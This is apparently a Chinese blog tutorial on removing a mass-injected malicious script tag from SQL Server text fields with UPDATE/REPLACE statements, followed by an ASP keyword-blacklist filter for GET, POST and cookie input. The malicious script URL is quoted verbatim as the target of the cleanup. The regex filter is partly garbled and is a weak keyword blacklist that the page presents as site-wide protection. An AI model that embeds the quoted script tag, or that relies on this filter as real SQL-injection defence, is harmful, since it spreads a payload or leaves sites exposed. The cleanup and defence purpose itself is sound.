首先备份数据库，以防不必要的损失。而后对所有被挂马的小于8000字符的varchar字段执行
复制代码 代码如下:
update 表名 set 字段名=replace(字段名,'<script src=http://c.n%75clear3.com/css/c.js></script>’,”)
其中<script src=http://c.n%75clear3.com/css/c.js></script>为挂马字段。执行后挂马字段被清除。但是有部分字段，比如内容字段等大于8000字符的varchar字段则需要执行
复制代码 代码如下:
update 表名 set 表项=replace(cast(表项 as varchar(8000)),'<script src=http:/c.nuclear3.com/css/c.js> </script> ‘,”)
来更新被挂马字段，而房产网由于内容比较多，执行以上语句的时候会发生假死现象，于是加个区间分两次进行，一次处理15000条得以解决。
复制代码 代码如下:
update 表名 set 表项=replace(cast(表项 as varchar(8000)),'<script src=http:/c.nuclear3.com/css/c.js> </script> ‘,”) where id>1 and id<15000
以上被挂马问题一般都是sql数据库，这是sql数据库特有的注入漏洞。换数据库不现实，只能针对以上情况进行防范。思路就是在所有数据库链接请求那里做相应的过滤。
复制代码 代码如下:
<%
response.buffer = true ‘缓存页面
‘防范get注入
if request.querystring <> “” then stopinjection(request.querystring)
‘防范post注入
if request.form <> “” then stopinjection(request.form)
‘防范cookies注入
if request.cookies <> “” then stopinjection(request.cookies)
‘正则子函数
function stopinjection(values)
dim regex
set regex = new regexp
regex.ignorecase = true
regex.global = true
regex.pattern = “‘|;|#|([\s\b+()]+([email=select%7cupdate%7cinsert%7cdelete%7cdeclare%7c@%7cexec%7cdbcc%7calter%7cdrop%7ccreate%7cbackup%7cif%7celse%7cend%7cand%7cor%7cadd%7cset%7copen%7cclose%7cuse%7cbegin%7cretun%7cas%7cgo%7cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)”
dim sitem, svalue
for each sitem in values
svalue = values(sitem)
if regex.test(svalue) then
response.write “<script language=javascript>alert(‘非法注入！你的行为已被记录！！’);history.back(-1);</script>”
response.end
end if
next
set regex = nothing
end function
%>
做一个通用的sql防注入页面，把它包含在conn.asp数据库连接语句里边，这样就实现了全站的防范 sql 注入的攻击了。但是前台的类似？id=这样的语句还是存在注入漏洞，需要我们严格过滤 request.form 和 request.querystring 获取的内容。坚决不用 request(“name”) 这样的方式获取值，凡是采用 cookies 保存的内容，尽量不要用在sql语句里进行查询数据库操作。
如果不熟悉sqlserver的朋友可以用软件来实现
sqlserver 数据库批量查找替换工具1.2 sql木马清除助手